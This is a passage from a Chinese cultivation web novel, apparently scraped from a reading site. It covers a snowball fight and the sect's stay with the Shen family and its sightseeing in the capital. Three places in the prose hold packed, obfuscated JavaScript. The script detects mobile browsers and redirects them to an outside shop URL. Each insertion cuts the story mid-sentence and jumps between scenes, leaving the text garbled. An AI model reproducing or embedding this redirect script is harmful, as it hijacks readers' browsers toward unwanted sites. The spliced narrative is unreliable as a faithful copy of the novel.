一共团了三个,大小一样,圆滚滚的,像用模具扣出来的。 他把三个雪球摞起来,最上面那个最小,最下面那个最大。 然后他从袖子里掏出几块灵石,嵌在雪人脸上当眼睛。 又掏出一根胡萝卜,插在中间当鼻子。 最后掏出一条红色的布条,围在雪人脖子上。 退后一步,满意地点点头。 “好了。”他说。 宋栀子和牧殇看着那个雪人,沉默了。 那个雪人,整整齐齐,干干净净,连围巾都系得一丝不苟。 “师父,”宋栀子说,“你这个雪人……好像你。” 安然愣了一下。 “像我?” 宋栀子点点头。 “爱干净。”她说。 安然:“……” 归尘从柴房里走出来,看了一眼那个雪人。 然后他蹲下来,开始团雪球。 团了一个,放在地上。 又团了一个,放在旁边。 再团了一个,摞在上面。 众人以为他要堆一个更大的。 结果他团完三个之后,在雪人旁边蹲下来,一动不动。 安然走过去。 “小尘,”他说,“你在干嘛?” 归尘指了指那个雪人。 “陪它。”他说。 安然沉默了。 徐修裹着棉袄走出来,看见这一幕,摇了摇头。 “小尘,”他说,“你还是这样。” 归尘抬起头。 “什么样?” 徐修说:“小时候就这样,堆个雪人,在旁边蹲一天。” 沈念从柴房里探出头,看见那个雪人,愣了一下。 “这是……师叔堆的?” 安然点点头。 “嗯。” 沈念走过去,在归尘旁边蹲下。 “师叔,”他说,“我陪你。” 归尘转头看他。 沈念笑了笑。 两个人并排蹲着,守着那个雪人。 宋栀子凑过去,在沈念旁边蹲下。 “我也陪!” 牧殇也凑过去,在宋栀子旁边蹲下。 “那我也……” 四个人并排蹲着,像一排蘑菇。 安然看着这一幕,嘴角弯了弯。 他走过去,在他们旁边蹲下。 “行了,”他说,“我也来。” 五个人并排蹲着。 徐修站在旁边,看着他们。 “你们这是干嘛?”他问。 安然抬起头。 “陪雪人。”他说,“来不来?” 徐修沉默了三秒。 然后他也走过去,蹲下。 六个人并排蹲着。 祁幻从柴房里出来,看见这一幕,愣住了。 “你们……在干嘛?” 牧殇冲他招手。 “来!陪雪人!” 祁幻犹豫了一下。 然后他也走过去,蹲下。 七个人。 穆惇从灵田那边走过来,看见这一幕,沉默了。 她没说话,只是走过去,在最边上蹲下。 八个人。 典星河躺在摇椅上,看着这一幕,笑得直抖。 “你们啊……”她说。 她裹着棉被站起来,走过去,在穆惇旁边蹲下。 九个人。 九个人并排蹲着,守着那个雪人。 雪还在下,落在他们头上、肩上。 下午,雪停了。 地上积了半尺厚的雪,踩上去咯吱咯吱响。 牧殇第一个发起进攻。 他团了一个雪球,趁宋栀子不注意,砸在她后脑勺上。 “啪。” 雪球炸开,碎雪落进宋栀子的脖子里。 她打了个激灵。 “二师兄——!” 她团起一个雪球,追着牧殇砸。 牧殇跑得快,躲开了。 但他没躲过祁幻。 祁幻刚从柴房里出来,手里还抱着一捆炭,一个雪球迎面飞来,正中他的脸。 他愣住了。 “谁、谁砸我?” 宋栀子举手。 “我!但是我要砸的是二师兄!” 祁幻放下炭,团起一个雪球。 “那我不管,”他说,“砸到就是赚到。” 他一个雪球砸过去,没砸中宋栀子,砸中了走出来的穆惇。 穆惇站在那儿,身上落满了雪,面无表情地看着他们。 祁幻的手抖了抖。 “穆、穆师姐,我不是故意的……” 穆惇没说话。 她蹲下来,团了一个雪球。 很大。 比祁幻的脑袋还大。 祁幻转身就跑。 穆惇把雪球扔出去。 “砰。” 雪球砸在祁幻背上,炸开了。 他被砸得往前扑了两步,趴在地上。 牧殇和宋栀子在旁边无情嘲笑。 惹谁不好偏惹穆师姐。 安然站在旁边,看着这一幕,嘴角弯了弯。 然后他感觉后脑勺一凉。 回头一看,归尘手里拿着半个雪球,正看着他。 “小尘?”他愣住了,“你砸我?” 归尘点点头,嚣张至极。 “嗯。”他说,“试试。” 安然沉默了三秒。 然后他蹲下来,开始团雪球。 一个,两个,三个,四个,五个。 他站起来,手里捧着五个雪球。 “小尘,”他说,“你准备好了吗?” 归尘看着他。 然后他转身就跑。 安然把雪球一个一个扔出去。 第一个,没中。 第二个,擦着归尘的耳朵飞过去。 第三个,正中后背。 归尘一个踉跄,差点摔倒。 第四个,第五个,连续砸中。 归尘停下脚步,回头看他。 安然拍了拍手。 “准头还行。”他说。 徐修还没有加入战斗,只在旁边评价,“小尘!你也有今天!” 归尘沉默了一会儿。 然后他蹲下来,开始团雪球。 一个接一个,团了十几个。 安然看着他,有点懵。 “小尘,”他说,“你干嘛?” 归尘站起来,手里捧着十几个雪球。 “报仇。”他说。 他一个一个扔出去。 第一个,被安然躲开。 第二个,也被躲开。 第三个,还是被躲开。 归尘沉默了。 安然笑了。 “小尘,”他说,“你准头还是这么差。” 归尘没说话。 他转头看向徐修。 徐修的笑容凝固了。 “等等,”他说,“你扔我干嘛?” 归尘把剩下的雪球全扔向徐修。 七八个雪球,砸得徐修满身都是雪。 徐修站在那儿,从头到脚都是白的。 安然在旁边笑弯了腰。 “二师兄!你成雪人了!” 徐修瞪他一眼,刚想说话,又一个雪球飞过来,正中他的脸。 是宋栀子扔的。 “我帮前辈报仇!”她喊。 徐修抹了一把脸上的雪,看着她。 “丫头,”他说,“你等着。” 他蹲下来,开始团雪球。 宋栀子转身就跑。 但没跑两步,就被牧殇拦住了。 “师伯!我帮你按住她!” 宋栀子挣扎着。 “叛徒!二师兄是叛徒!” 牧殇嘿嘿一笑。 “这叫识时务。” 徐修走过来,手里捧着三个雪球。 一个一个砸在宋栀子身上。 宋栀子被砸得嗷嗷叫。 祁幻在旁边看得直乐。 然后他感觉后背一凉。 回头一看,穆惇正看着他,手里又团了一个大雪球。 “穆、穆师姐,我真的不是故意的——” 穆惇没说话。 她把雪球扔出去。 “砰。” 祁幻又被砸趴下了。 典星河躺在摇椅上,裹着棉被,看着这一团乱,笑得直抖。 “真热闹。” 沈念站在旁边,没参与。 他静静地看着。 然后他感觉肩膀被人拍了一下。 回头一看,归尘站在他身后,手里拿着一个雪球。 “师叔?”他愣住了。 归尘把雪球塞进他手里。 “去。”他说,“玩。” 沈念看着手里的雪球,愣了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“三师弟,”徐修说,“你这徒弟,记性挺好。” 安然瞪他一眼。 归尘蹲在角落里,端着碗,慢悠悠地喝汤。 他喝一口,看看外面的雪,再喝一口,再看看。 典星河裹着棉被,挪到他旁边。 “看什么呢?” 归尘指了指外面。 “雪。”他说。 典星河看了一眼。 雪还在下,纷纷扬扬的,把整个院子都染白了。 “好看吗?”她问。 归尘点点头。 “嗯。”他说,“小时候,四师姐最爱看雪。” 典星河愣住了。 归尘继续说:“每次下雪,她就拉着我们出去堆雪人。堆完就在旁边看着,一看就是一整天。” 他顿了顿。 “她说,雪干净。” 典星河的眼眶有点红。 但她笑了。 “师父,”她轻声说,“原来你喜欢雪啊。” 雪落在院子里,落在歪脖子树上,落在柴房的屋顶上。 炉火映着九个人的脸,暖暖的。 宋栀子又喝了一口汤。 “好喝!”她说,“明天还炖!” 穆惇点点头。 “还有萝卜。”她说。 祁幻在旁边记账。 “今日支出:炭火五十文,萝卜零成本,心情……” 他顿了顿。 “心情:暖和。” 牧殇凑过来看他的账本。 “就这?” 祁幻瞪他一眼。 “不然呢?” 牧殇笑了。 “你应该写:今日被雪球砸中三次,记仇。” 祁幻愣住了。 “我什么时候被砸中三次?” 牧殇掰着手指数。 “第一次,宋栀子砸的。第二次,我砸的。第三次,穆师姐砸的。” 祁幻沉默了。 他看向穆惇。 穆惇面无表情地喝着汤。 “穆师姐,”他说,“你砸我那一下,真的需要那么大吗?” 穆惇看了他一眼。 “需要。”她说。 祁幻:“……” 夜深了。 雪停了。 月亮从云层里钻出来,照在雪地上,亮晶晶的。 九个人挤在柴房里,挤得紧紧的。 归尘躺最里面,徐修躺中间,安然躺最外面。 宋栀子躺在安然旁边,抱着一个暖手炉——她自己发明的,说能发热,结果发得太热,差点把被子烧了。 安然帮她调整了一下,现在刚好。 牧殇躺在另一边,还在念叨今天打雪仗的事。 “你们看见没?我那个雪球,砸得多准!” 祁幻在旁边说:“你砸的是我。” 牧殇:“那不是准吗?” 祁幻沉默了。 穆惇躺在角落里,闭着眼睛,一动不动。 典星河裹着棉被,缩成一团。 沈念躺在最外面,看着柴房顶上那个洞。 月光从洞里照进来,洒在他脸上。 他伸出手,接住一片飘进来的雪花。 雪花落在掌心,慢慢化开。 他笑了。 “师父,”他轻声说,“下雪了。” 归尘的声音从里面传来。 “他看见了。” 沈念愣了一下。 然后他点点头。 “嗯。”他说。 窗外,月光照着雪地,亮得像白天。 柴房里,九个人挤在一起,睡着了。 偶尔有呼噜声,偶尔有梦话。 很吵。 但很暖。 【章末小剧场:躺平宗摸鱼群】 钱多多:@所有人,今日支出:炭火五十文,萝卜零成本。今日进账:无。心情:暖和。 赵铁柱:今天打雪仗太好玩了! 王甜甜:我砸中三师兄了! 钱多多:你还说! 王甜甜:哈哈哈 李翠花:萝卜汤好喝。 王甜甜:那是师姐手艺好,师姐做的饭最好吃了。 钱多多:我附议。 赵铁柱:附议。 归尘:+1 …… 23. 沈彻的邀请 沈彻第二次来躺平宗的时候,排场比第一次大了十倍。 那天清晨,祁幻刚翻开账本,就听见山门外传来一阵悠扬的仙乐。他抬起头,手里的毛笔又划出一道墨痕——但这次他没顾上心疼。 山门外,九只七彩凤凰拉着三辆华丽的云车,稳稳地落在土路上。凤凰羽毛流光溢彩,每一根都像是用彩虹织成的。云车后面跟着三十六名侍从,个个白衣如雪,手里捧着各色礼盒。 领头的那只凤凰背上,跳下来一个人。 锦衣玉带,意气风发。 正是沈彻。 他今天穿得格外隆重——玄色锦袍上绣着金线云纹,腰间系着白玉腰带,头发用紫金冠束起,整个人像是从画里走出来的贵公子。 他站在山门口,整了整衣襟,然后深吸一口气。 “星河姐!”他喊,“我又来了!” 院子里,典星河躺在摇椅上,听到这声喊,眼睛都没睁。 “谁?” 祁幻跑进来,结结巴巴地说:“沈、沈彻!带了九只凤凰!三辆云车!还有好多人!” 典星河睁开一只眼。 “凤凰?” 祁幻点点头。 “活的!彩色的!” 典星河坐起来,揉了揉眼睛。 “这小子,”她说,“上次来还骑蛟龙,这次直接换凤凰了?” 沈彻被迎进来的时候,身后跟着三十六名侍从,抬着十八个礼盒,浩浩荡荡地往里走。 他走到典星河面前,恭恭敬敬地行了个大礼。 “星河姐,”他说,“我回去想了很久,觉得上次来太失礼了。这次特地带了赔礼。” 典星河挑了挑眉。 “赔礼?” 沈彻一挥手,侍从们打开礼盒。 第一个盒子里,是十二匹云锦,每一匹都泛着淡淡的光华。 第二个盒子里,是十八坛灵酒,坛子上贴着“千年陈酿”的标签。 第三个盒子里,是二十四盒糕点,全是上京最有名的铺子出品。 第四个盒子里,是三十六个灵果,每一个都有拳头大,散发着浓郁的灵气。 第五个盒子…… 宋栀子已经扑过去了。 “师父!好多好吃的!” 安然走过去,拿起一匹云锦看了看。 “好东西。”他说,“这料子,一件衣服够穿三百年。” 徐修凑到酒坛边,闻了闻。 “千年陈酿?”他的眼睛亮了,“这可比我自己酿的好多了。” 归尘蹲在树下,看着这一地的东西,没说话。 穆惇走过来,看着那些灵果。 “能吃吗?”她问。 沈彻赶紧点头。 “能能能!都是灵果,吃了对身体好!” 穆惇拿起一个,咬了一口。 嚼了嚼。 “还行。”她说,“不如萝卜甜。” 沈彻愣了一下。 旁边的牧殇已经笑出了声。 “行了,”典星河说,“说吧,这次来到底什么事?” 沈彻挠了挠头。 “什么都瞒不过星河姐。”他说,“我是来请你们的。” 典星河挑眉。 “请我们?” 沈彻点点头。 “对。”他说,“请你们去沈家小住几天。” 众人围坐在主殿门口,听着沈彻说话。 “我回去之后,”沈彻说,“把你们的事跟我爹说了。” 安然问:“然后呢?” 沈彻挠挠头。 “然后他把我叫去,问我:‘你觉得咱们该怎么做?’” 典星河来了兴趣。 “你怎么说?” 沈彻看着她,认真地说:“我说,人家都不记仇了,咱们得拿出诚意来。请他们来家里住几天,好好招待,该道歉的道歉,该补偿的补偿。” 徐修忍不住问:“然后呢?” 沈彻笑了。 “他不同意。我就去求了我们家的老祖宗,然后他说:‘去办吧。办好了,你就是下一任家主。’” 典星河愣住了。 “你这是……拿家主之位换的?” 沈彻摇摇头。 “不是换。”他说,“是顺便,我本来就是下一任家主。” 他站起来,看着众人。 “老祖宗说,三千年前那场仗,是沈家带的头。他说,咱们欠的,得还。” 他看向归尘。 “前辈,老祖宗想见你们。” 这话,很有说服力,典星河倒是没有什么意见,可是三位师伯…… 她转身望向那三位,归尘没说话,只轻轻点了头。 他是渡劫期他怕什么? 典星河:“好,我们去。” 九只凤凰拉着三辆云车,稳稳地停在院子里。 沈彻亲自引路。 “随便坐。” 归尘上了第一辆。 宋栀子也冲上第一辆车。 “我要和前辈一起!” 归尘看了她一眼,没说话。 安然叹了口气。 “丫头,下来。” 宋栀子摇摇头。 “不!” 安然看向归尘。 归尘点点头。 “让她坐。”他说。 安然沉默了。 徐修在旁边笑得直抖。 “三师弟,”他说,“你徒弟跟你抢位置。” 安然瞪他一眼。 最后,归尘,宋栀子和典星河坐了第一辆车。安然和徐修和祁幻坐了第二辆车。穆惇、牧殇、沈念坐了第三辆车。沈彻骑在最前面那只凤凰上,亲自领路。 凤凰展翅,腾空而起。 祁幻趴在车窗上,看着下面越来越小的山门。 “掌门,”他说,“咱们就这么走了?” 典星河躺在车里,舒舒服服地靠着软垫。 “怎么?舍不得?” 祁幻想了想。 “也不是。”他说,“就是觉得……有点不真实。” 穆惇看着窗外,没说话。 牧殇已经在和拉车的凤凰聊天了。 “你们平时吃什么?飞得快吗?累不累?累的时候怎么办?” 那只凤凰被他问得直翻白眼。 沈念坐在角落,看着窗外发呆。 典星河看了他一眼。 “想什么呢?” 沈念回过神。 “在想,”他说,“师父要是知道我去沈家做客,会说什么。” 典星河笑了。 “他会说,‘去吧,多吃点好的。’” 沈念笑了,他的师父,肯定会这么说。 傍晚时分,凤凰落在一座巨大的府邸门前。 门楣上挂着匾额,写着两个大字:“沈府”。 门口站满了人。 最前面是一个坐在轮椅上的老人,头发全白,但精神矍铄。他身后站着几十个人,有老有少,有男有女,个个衣着光鲜,神情肃穆。 归尘从车上下来,站在老人面前。 两人对视了很久。 老人先开口了。 “归尘,”他说,“你还认得我吗?” 归尘看着他,沉默了一会儿。 “抱歉,没印象。” 老人说:“我叫沈明章。我爷爷是沈烈当年我上战场是还是个修为尚浅的小兵,苟延残喘活了这么久,心里一直放不下那件事。 哈,说远了。我想我爷爷肯定也很后悔挑起事端,我想他这辈子最遗憾的,就是没能当面道歉。” 他挣扎着要从轮椅上站起来。 身后的侍从要扶,被他推开。 他颤颤巍巍地站直,然后深深鞠了一躬。 他身后那几十个人,齐刷刷地跟着鞠躬。 “对不起。”沈明章说。 归尘看着他,看了很久。 然后他伸出手,扶住老人的肩膀。 “活着就好。”他说。 沈明章抬起头,眼眶红了。 “前辈……”他的声音哽咽。 “进去说。”他说,“外面冷。” 那三天,沈家比过年还热闹。 摆了三十桌酒席,请了最好的厨子,上了最好的菜。 沈明章亲自作陪,一桌一桌敬酒。 他腿不好,但坚持站着敬。 “这杯敬归尘前辈,谢谢您不记仇。” “这杯敬安然前辈,谢谢您来。” “这杯敬徐修前辈,谢谢您赏光。” “这杯敬典掌门,谢谢您把宗门撑起来,让我有机会站在这里同你们道歉。” 宋栀子这次很乖,全程没炸东西。 她坐在安然旁边,安安静静地吃着菜。 沈彻的侄子跑过来,好奇地看着她。 “姐姐,你为什么不说话?” 宋栀子眨眨眼。 “我在吃。” 小孙子又问:“你会变戏法吗?我听人说你会变戏法。” 宋栀子看了看安然。 安然点点头。 宋栀子从怀里掏出一个小阵盘,轻轻输入灵力。 阵盘亮起来,发出柔和的光。 “哇——”小孙子眼睛亮了。 宋栀子把阵盘递给他。 “送你了。” 小孙子捧着阵盘,高兴得跳起来。 安然看着这一幕,嘴角弯了弯。 “丫头,”他说,“你长大了。” 宋栀子眨眨眼。 “师父说什么呢,我一直这么大。” 安然笑了。 牧殇已经和沈家的年轻一辈打成一片了。 他从这一桌聊到那一桌,从酒席聊到八卦,从八卦聊到修炼心得。 三天下来,他加了五十多个好友。 祁幻抱着账本,和沈家的账房先生聊得火热。 “你们这账是怎么记的?不怕炸吗?” 账房先生笑了。 “我们不用记怕炸的账。” 祁幻沉默了。 账房先生拍拍他的肩。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387684|200271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “兄弟,我懂你。” 两人相视而笑,生出惺惺相惜之感。 沈念一直跟在归尘身边,寸步不离。 沈明章看着他,问归尘:“这是……” 归尘说:“大师兄的徒弟。” 沈明章愣住了。 然后他站起来,对着沈念鞠了一躬。 沈念吓了一跳。 “您、您干嘛?” 沈明章说:“你师父是个好人。当年那场仗,他一个人挡住了我们几十个人。要不是他,我们早就冲进去了。” 他的眼眶红了。 “他是英雄。” “嗯。”沈念说,“他是。” 三天后,他们收拾好东西,准备启程回宗。 沈彻站在门口,看着他们把东西搬上凤凰车,脸上的表情越来越不对劲。 “星河姐,”他凑过去,“你们这就走了?” 典星河点点头。 “怎么?舍不得?” 沈彻挠挠头。 “那个……不多住几天?” 典星河挑眉。 “住够了。” 沈彻急了。 “不是,那个……我还没带你们逛完呢!上京还有很多好玩的地方!还有那个……那个……” 典星河看着他。 “沈彻,你到底想说什么?” 沈彻憋红了脸。 “我就是……就是不想让你们这么快走!” 他跺了跺脚。 “你们才来三天!三天!星河姐,我还没和你聊够呢。” “沈彻,”她说,“你是不是有什么事瞒着我们?” 沈彻的身体僵了一下。 “没、没有啊。” 典星河眯着眼睛看他。 “真的?” 沈彻被典星河盯着,额头开始冒汗。 “那个……就是……” 典星河叹了口气。 “沈彻,”她说,“说实话。” 沈彻憋了半天,终于憋出一句话。 “我在给你们修宗门!” 全场安静了。 沈彻破罐子破摔地说:“我派了三百个人去躺平宗!把你们那破山门拆了!换成新的!还有那条土路,铺成青石板!还有主殿,翻新屋顶!还有柴房,拆了重盖!还有灵田,修整田埂!还有……” 他越说越小声。 “还没修完……” 沈彻低着头,像做错事的孩子。 “我就是想给你们一个惊喜……”他小声说,“等你们回去,就能看见一个全新的躺平宗,每次看见它,你就能想起我……” 典星河沉默了三秒。 然后她笑了。 “沈彻,”她说,“你早说啊。” 沈彻抬起头。 “那你们不走了?” 典星河看向归尘。 归尘点点头。 典星河说:“不走了。” 沈彻的眼睛亮了。 “真的?” 安然在旁边说:“反正宗门还没修好,回去也没地方住。” 徐修点头。 “有道理。” 最后,只剩归尘、安然、徐修、典星河和沈念站在门口。 沈彻回头看了一眼。 “星河姐,你们不进去?” 典星河摇摇头。 “晒会儿太阳。”她说。 沈彻挠挠头。 “那……那我先进去了?” 典星河点点头。 沈彻跑进去了。 安然看着他的背影,笑了。 “这小子,”他说,“还挺有心。” 徐修点点头。 “比他祖宗强。” 归尘没说话。 但他蹲下来,从怀里掏出一把东西。 不是瓜子。 是一颗糖。 他剥开糖纸,放进嘴里。 典星河看见了,愣了一下。 “前辈,你不嗑瓜子了?” 归尘点点头。 “换个口味。”他说。 典星河笑了。 她也蹲下来,从怀里掏出一颗糖。 两人一起含着糖,看着沈府的大门。 里面传来沈彻的喊声:“牧殇!你别追着那只凤凰跑了!它快被你聊崩溃了!” 然后是牧殇的声音:“可是它还没回答我最后一个问题!” 凤凰的惨叫声。 安然叹了口气。 徐修笑出了声。 【章末小剧场:躺平宗摸鱼群】 赵铁柱:沈彻真的太好了! 王甜甜:我教会了小侄子画阵纹!他没炸! 安然:奇迹。 王甜甜:师父! 李翠花:沈家库房有三百多种种子。 钱多多:……你拿了多少? 李翠花:全都拿了。 钱多多:…… 徐修:@安然,你徒弟这几天没炸,你怎么看? 安然:我每天都在看。 24. 挂名费一百两 第二天一早,沈彻神神秘秘地跑过来,手里拿着一沓纸。 “星河姐!”他喊,“我做了个计划!” 典星河刚从床上爬起来,头发乱糟糟的,眼睛还没睁开。 “什么计划?” 沈彻把那一沓纸摊开。 “上京十日游!第一天,逛东市!第二天,逛西市!第三天,听戏!第四天,泡温泉!第五天,登摘星楼!第六天,吃遍全城!第七天——” 典星河打断他。 “等等,你做了十天计划?” 沈彻点点头。 “对!十天!一天不重样!” 典星河看着他,沉默了。 十天…… 沈彻保重,我们可是一群魔丸啊…… 半个时辰后,九个人站在沈府门口。 沈彻今天换了身轻便的衣裳,头发扎成高马尾,整个人神清气爽。 他身后停着三辆马车。 “坐这个?”牧殇问 沈彻点头。 “对!坐马车逛才有意思!飞太快,什么都看不清!” 牧殇眼睛亮了。 “有道理!” 众人上了马车。 马蹄哒哒,车轮滚滚,向上京最热闹的东市驶去。 东市是上京最大的集市,卖什么的都有。 沈彻把马车停在街口,带着九个人往里走。 “随便逛!”他说,“看中什么跟我说!我付钱!” 宋栀子第一个冲出去。 “师父师父!那个是什么?” 她指着一个摊子,上面摆满了五颜六色的小瓶子。 摊主是个笑眯眯的老头。 “姑娘,这是香露!各种味道都有!玫瑰的、茉莉的、桂花的——” 宋栀子拿起一个闻了闻。 “好香!” 她回头看向安然。 安然走过来,拿起瓶子看了看。 “好东西。”他说,“纯的。” 宋栀子眼睛亮了。 “师父,我能要吗?” 安然正要掏银子结账…… 沈彻已经掏钱了。 “来十个!各种味道都要!” 摊主笑得合不拢嘴。 牧殇拉着沈念,钻进一家卖乐器的铺子。 “你看这个琴!声音多好听!” 他拨了一下琴弦,发出一声悠长的颤音。 老板走过来。 “客官好眼光!这是千年梧桐木做的,音色极佳!” 牧殇看向沈念。 “你会弹吗?” 沈念摇摇头。 “不会。” 牧殇笑了。 “那正好!我也不会!咱俩一起学!” 沈念愣住了。 牧殇已经让老板包起来了。 沈念看着他,有点想笑。 “二师兄,”他说,“你这是冲动消费。” 牧殇眨眨眼。 “什么叫冲动?” 沈念想了想。 “就是……买了之后会后悔。” 牧殇看了看手里的琴。 “不会后悔。”他说,“咱俩一起弹,多好玩。” 祁幻被沈彻拉着,进了一家卖文房四宝的铺子。 “祁幻!你看这个毛笔!据说写一万个字都不掉毛!” 祁幻拿起来看了看。 “真的?” 沈彻拍拍胸脯。 “我试过!真的!” 祁幻犹豫了一下。 “多少钱?” 老板伸出五根手指。 “五十两。” 祁幻放下笔。 “五十两!这可比我命都贵!” 沈彻已经把钱掏出来了。 “不贵不贵!我送你!” 祁幻愣住了。 “这……” 沈彻把笔塞进他手里。 “拿着!以后记账用!” 祁幻看着手里的笔,眼眶有点红。 “谢谢。”他说。 穆惇被沈彻带到一家卖种子的铺子。 铺子不大,但里面摆满了各种瓶瓶罐罐。 老板是个白发苍苍的老太太。 “姑娘要什么种子?” 穆惇看了看。 “甜的。”她说,“萝卜。” 老太太笑了。 “有!有!我这有三十多种萝卜种子!甜的、脆的、糯的、大的、小的、红的、白的——” 穆惇的眼睛亮了。 “都要。” 老太太愣住了。 “都、都要?” 穆惇点点头。 沈彻在旁边接话。 “都要!包起来!” 老太太笑得合不拢嘴。 安然和徐修在一家布庄里逛。 安然摸着各种布料,表情认真得像在研究什么大事。 “这个手感不行,太糙。这个颜色不行,太艳。这个织法不行,太松——” 徐修在旁边听得直打哈欠。 “三师弟,”他说,“你挑个布料,比挑道侣还认真。” 安然头也不抬。 “道侣可以换,布料换不了。” 徐修沉默了。 沈彻跑过来。 “安然前辈!看中哪个?” 安然指了指一匹月白色的锦缎。 “这个。” 沈彻直接对老板说:“全要了。” 安然愣了一下。 “全要?” 沈彻点头。 “对!全要!您慢慢挑!挑中的都拿走!” 安然看着他,嘴角弯了弯。 “沈彻,”他说,“可真是让我体验了一把有钱的感觉。” 沈彻挠挠头。 “还行还行。” 中午,沈彻带他们去了西市。 西市是美食街,整条街都是吃的。 “随便吃!”沈彻说,“我请客!” 宋栀子已经冲进一家卖糖人的铺子了。 “师父师父!这个好可爱!” 她指着一个兔子形状的糖人。 安然走过去看了看。 “要一个?” 宋栀子点头。 沈彻对老板说:“来十个!” 宋栀子捧着十个糖人,笑得眼睛弯成月牙。 牧殇和沈念进了一家卖烤串的店。 “老板!来五十串!” 老板愣住了。 “五、五十?” 牧殇点头。 “对!五十串!各种味道都要!” 老板开始烤。 牧殇和沈念坐在门口,等着吃。 第一串上来,牧殇咬了一口。 “好吃!” 沈念也咬了一口。 “嗯,好吃。” 两人你一串我一串,吃得满嘴流油。 祁幻被沈彻拉进一家卖汤圆的店。 “祁幻!这家汤圆特别好吃!你尝尝!” 祁幻看着碗里白白胖胖的汤圆,有点犹豫。 “这是什么馅的?” 沈彻眨眨眼。 “芝麻的!甜的!” 祁幻尝了一口。 然后他的眼睛亮了。 “好吃!” 沈彻笑了。 “再来一碗?” 祁幻点点头。 典星河和归尘在一家茶馆里坐着。 典星河喝着茶,归尘吃着点心。 沈彻跑进来。 “星河姐!你们怎么不出去逛?” 典星河指了指外面。 “太吵了。” 沈彻看了看外面人来人往的街道,又看了看典星河懒洋洋的样子。 他笑了。 “那我让人把点心送过来!你们慢慢吃!” 归尘抬起头。 “有甜的?” 沈彻点头。 “有!各种甜的!” 归尘点点头,继续吃。 第三天,沈彻带他们去听戏。 戏院很大,能坐几百人。 沈彻包了二楼最好的包厢。 台上在演一出仙侠戏,讲的是几个修仙者斩妖除魔的故事。 牧殇看得津津有味。 “你们看!那个剑法!跟我的好像!” 安然看了他一眼。 “你那是剑法?” 牧殇眨眨眼。 “不是吗?” 安然沉默了。 徐修看得直摇头。 “这演的什么?渡劫期哪有这么容易?我当年渡劫的时候,差点被雷劈死。” 沈念在旁边小声说:“二师伯,您渡劫过?” 徐修愣了一下。 “没有。”他说,“我编的。” 沈念沉默了。 宋栀子趴在栏杆上,看得入神。 “师父!那个仙子好漂亮!” 安然看了一眼。 “还行。” 宋栀子回头看他。 “师父,你年轻的时候,是不是也有很多仙子追你?” 安然愣了一下。 徐修在旁边笑出了声。 “他?”徐修说,“他年轻的时候,整天就知道洗衣服、叠被子、整理房间,哪有空理仙子?” 安然的耳朵红了。 “二师兄!” 徐修笑得更大声了。 归尘在旁边,嘴角弯了弯。 典星河看见了。 “前辈,你笑什么?” 归尘摇摇头。 “没什么。”他说,“就是想起,四师姐也喜欢看戏。” 典星河愣住了。 归尘继续说:“每次看完,她都学戏里的人说话。学得可像了。” “师父,”典星河轻声说,“我也喜欢看戏。” 归尘看着她。 “像。”他说。 典星河愣了一下。 “什么?” 归尘说:“像她。” “谢谢前辈。”她说。 第四天,沈彻带他们去泡温泉。 温泉在山里,要走一个时辰的山路。 但沈彻安排了马车,直接把她们送到门口。 “这家温泉是最好的!”他说,“天然的!灵气足!” 宋栀子第一个冲进去。 “好暖!” 她泡在水里,只露出一个脑袋。 安然坐在她旁边,头发用布巾包得严严实实。 “师父,”宋栀子问,“你泡温泉还包头发?” 安然点点头。 “头发会湿。” 宋栀子沉默了。 徐修在旁边笑得直抖。 “三师弟,”他说,“你泡个温泉,比人家去相亲还讲究。” 安然瞪他一眼。 牧殇和沈念在另一个池子里。 牧殇在教沈念游泳。 “你腿要这样蹬!手要这样划!” 沈念学着他的样子,扑腾了两下。 “二师兄,我好像……不会……” 牧殇笑了。 “没事!多喝几口水就会了!” 沈念沉默了。 祁幻一个人泡在角落,闭着眼睛,一脸享受。 沈彻凑过来。 “祁幻,舒服吗?” 祁幻点点头。 “舒服。”他说,“不用记账,不用算账,不用崩溃。” 沈彻愣了一下。 然后他笑了。 “那你就多泡会儿!” 归尘和典星河在一个小池子里。 两人都不说话,就那么泡着。 过了很久,归尘突然开口。 “小时候,四师姐也带我们来泡过温泉。” 典星河转头看他。 归尘继续说:“她给我们讲各种故事。讲得可好听了。” 典星河笑了。 “师父肯定是个好师姐。” 归尘点点头。 “嗯。”他说,“最好的。” 第五天,沈彻带他们去摘星楼。 摘星楼是上京最高的建筑,有九十九层。 站在顶层,能看见整个上京。 沈彻带着他们坐电梯——是一种用灵力驱动的升降梯。 宋栀子趴在窗户上,看着外面越来越小的房子。 “好高!好高!” 安然拉着她的袖子。 “别趴那么近。” 宋栀子乖乖退回来。 到了顶层,众人走出去。 风很大,吹得衣袂飘飘。 徐修站在栏杆边,看着下面的上京。 “真大。”他说。 安然站在他旁边。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“买!” 沈彻直接买了一箱。 归尘对各种糖感兴趣。 “这个甜吗?” 沈彻点头。 “甜!” 归尘尝了一口。 点点头。 沈彻又买了一包。 典星河对各种茶感兴趣。 “这个茶叫什么?” 沈彻看了看。 “云雾茶!据说喝了能静心!” 典星河尝了一口。 “还行。”她说。 沈彻又买了一斤。 最后一天晚上,沈彻带他们去了一家酒楼,包了整层。 “今天最后一顿!”他说,“随便吃!随便喝!” 众人举杯。 “敬沈彻!”牧殇喊。 “敬沈彻!”众人齐声喊。 沈彻笑了。 笑得眼睛都眯起来了。 敬沈彻……我们这也算是朋友了吧…… 第十天早上,他们准备回躺平宗。 沈彻送他们到门口。 